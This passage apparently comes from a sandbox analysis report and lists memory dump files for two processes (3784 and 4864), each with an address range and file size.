7.7MB
-
memory/3784-57-0x0000000007A50000-0x0000000007AC6000-memory.dmpFilesize
472KB
-
memory/3784-52-0x0000000006A80000-0x0000000006AC4000-memory.dmpFilesize
272KB
-
memory/3784-33-0x0000000074A60000-0x0000000075210000-memory.dmpFilesize
7.7MB
-
memory/3784-35-0x0000000074A60000-0x0000000075210000-memory.dmpFilesize
7.7MB
-
memory/3784-34-0x0000000074A60000-0x0000000075210000-memory.dmpFilesize
7.7MB
-
memory/4864-26-0x00000000072A0000-0x0000000007332000-memory.dmpFilesize
584KB
-
memory/4864-18-0x0000000005F00000-0x0000000005F1E000-memory.dmpFilesize
120KB
-
memory/4864-27-0x00000000073A0000-0x00000000073B2000-memory.dmpFilesize
72KB
-
memory/4864-51-0x0000000074A60000-0x0000000075210000-memory.dmpFilesize
7.7MB
-
memory/4864-25-0x0000000008380000-0x0000000008924000-memory.dmpFilesize
5.6MB
-
memory/4864-24-0x0000000007140000-0x00000000071AC000-memory.dmpFilesize
432KB
-
memory/4864-23-0x0000000007100000-0x000000000713E000-memory.dmpFilesize
248KB
-
memory/4864-22-0x00000000064E0000-0x00000000064E8000-memory.dmpFilesize
32KB
-
memory/4864-21-0x00000000064A0000-0x00000000064BA000-memory.dmpFilesize
104KB
-
memory/4864-20-0x0000000007750000-0x0000000007DCA000-memory.dmpFilesize
6.5MB
-
memory/4864-19-0x0000000005F90000-0x0000000005FDC000-memory.dmpFilesize
304KB
-
memory/4864-28-0x0000000007710000-0x000000000774C000-memory.dmpFilesize
240KB
-
memory/4864-13-0x0000000005AA0000-0x0000000005DF4000-memory.dmpFilesize
3.3MB
-
memory/4864-0-0x0000000074A6E000-0x0000000074A6F000-memory.dmpFilesize
4KB
-
memory/4864-6-0x00000000052D0000-0x0000000005336000-memory.dmpFilesize
408KB
-
memory/4864-9-0x0000000005A30000-0x0000000005A96000-memory.dmpFilesize
408KB
-
memory/4864-5-0x00000000050B0000-0x00000000050D2000-memory.dmpFilesize
136KB
-
memory/4864-2-0x0000000074A60000-0x0000000075210000-memory.dmpFilesize
7.7MB
-
memory/4864-4-0x0000000074A60000-0x0000000075210000-memory.dmpFilesize
7.7MB
-
memory/4864-3-0x0000000005400000-0x0000000005A28000-memory.dmpFilesize
6.2MB
-
memory/4864-1-0x0000000002A10000-0x0000000002A46000-memory.dmpFilesize
216KB